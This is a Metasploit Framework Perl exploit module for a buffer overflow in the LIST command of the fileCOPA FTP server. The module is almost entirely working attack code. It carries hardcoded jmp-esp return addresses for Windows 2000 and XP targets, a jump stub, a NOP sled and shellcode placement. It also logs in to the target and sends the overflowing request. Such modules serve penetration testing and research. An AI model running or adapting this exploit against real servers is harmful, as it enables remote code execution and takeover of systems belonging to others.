filecopa.meta.txt

`##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::filecopa_list;  
use base "Msf::Exploit";  
use strict;  
use Pex::Text;  
  
my $advanced = { };  
my $info =  
{  
'Name' => 'FileCopa FTP Server pre 18 Jul Version',  
'Version' => '$Revision: 0.1 $',  
'Authors' =>  
[   
'Jacopo Cervini <acaro [at] jervus.it>'  
],  
  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],  
'Priv' => 0,  
  
'AutoOpts' => { 'EXITFUNC' => 'thread' },  
'UserOpts' =>  
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 21],  
'SSL' => [0, 'BOOL', 'Use SSL'],  
'USER' => [1, 'DATA', 'Username', 'test'],  
'PASS' => [1, 'DATA', 'Password', 'test'],  
},  
  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x0a\x0d",  
# 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500  
'Keys' => ['+ws2ord'],  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits the buffer overflow found in the LIST command  
in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch.   
}),  
  
'Refs' =>  
[  
['BID', '19065'],  
  
],  
  
'DefaultTarget' => 0,  
'Targets' =>  
[  
  
['Windows 2000 SP4 English', 160, 0x7c2e7993 ], # jmp esp in ADVAPI32.dll  
['Windows 2000 SP4 Italian', 160, 0x79277993 ], # jmp esp in ADVAPI32.dll  
['Windows XP SP2 English', 240, 0x77df2740 ], # jmp esp in ADVAPI32.dll  
  
  
  
],  
  
'Keys' => ['filecopa'],  
  
'DisclosureDate' => 'Jul 19 2006',  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
  
sub Exploit {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $target_idx = $self->GetVar('TARGET');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
  
  
  
  
  
my $jmp = "\x66\x81\xc1\xa0\x01\x51\xc3";  
  
#66:81C1 A001 ADD CX,1A0  
#51 PUSH ECX  
#C3 RETN  
  
  
my $pattern = ("A" x $target->[1]);  
$pattern .= pack('V', $target->[2]);  
$pattern .= ("\x90"x4);  
$pattern .= $jmp;  
$pattern .= ("\x90"x283);  
$pattern .= $shellcode;   
  
  
my $request = "A " . $pattern ."\r\n";  
  
  
  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
'LocalPort' => $self->GetVar('CPORT'),  
'SSL' => $self->GetVar('SSL'),  
);  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return;  
}  
  
my $r = $s->RecvLineMulti(20);  
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }  
$self->Print($r);  
  
$s->Send("USER " . $self->GetVar('USER') . "\r\n");  
$r = $s->RecvLineMulti(20);  
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }  
$self->Print($r);  
  
  
$s->Send("PASS ".$self->GetVar('PASS')."\r\n");  
$r = $s->RecvLineMulti(20);  
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }  
$self->Print($r);  
  
$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at 0x%.8x...", $target->[2]));  
  
  
$s->Send("LIST $request");  
  
sleep(2);  
return;  
}  
`